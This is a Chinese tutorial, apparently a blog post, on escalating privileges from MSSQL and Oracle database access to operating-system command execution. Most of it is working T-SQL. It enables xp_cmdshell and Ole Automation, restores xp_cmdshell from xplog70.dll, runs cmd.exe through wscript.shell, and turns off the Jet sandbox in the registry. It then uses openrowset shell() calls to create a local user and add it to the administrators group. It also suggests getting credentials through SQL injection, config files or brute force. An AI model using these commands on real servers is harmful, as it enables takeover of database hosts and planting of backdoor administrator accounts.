mssql&oracle数据库提权
数据库帐号密码获取方式:
1.网站存在高权限SQL注入点
2.数据库的存储文件或备份文件
3.网站源码中的数据库配置文件(常见方式)
4.采用工具或脚本爆破(需解决外联问题)
一、mssql提权
sa默认开启外来联
环境:win2003 iis+msssql2008
1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
xp_cmdshell和sp_oacreate都是用来执行系统命令的函数,是sqlserver自带的一个函数
1.启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
2.执行命令
EXEC master.dbo.xp_cmdshell 'whoami';

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2.使用sp_oacreate进行提权
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
1.启用sp_oacreate:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭sp_oacreate:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
2.执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

此函数命令是不会回显到数据库中,需要写入一个文件,再去读取这个文件即可
3.使用SQL Server 沙盒提权
1.开启ad hoc distributed queries组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
关闭ad hoc distributed queries组件
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
2.执行系统命令,添加一个管理员用户
select * From openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test 123456 /add")');
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators test /add")')
沙盒模式就相当于在虚拟机运行木马,对本地主机没有影响,是一个隔离的环境
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
恢复沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
全部以前恢复配置:
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
4.MDUT工具提权:

二、oracle提权
所谓的dba就是数据库管理员
1、普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
工具提权:
环境win2003+tomacat+oracle
账号密码是通过配置文件获取
scott是dba账号

参考文章:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通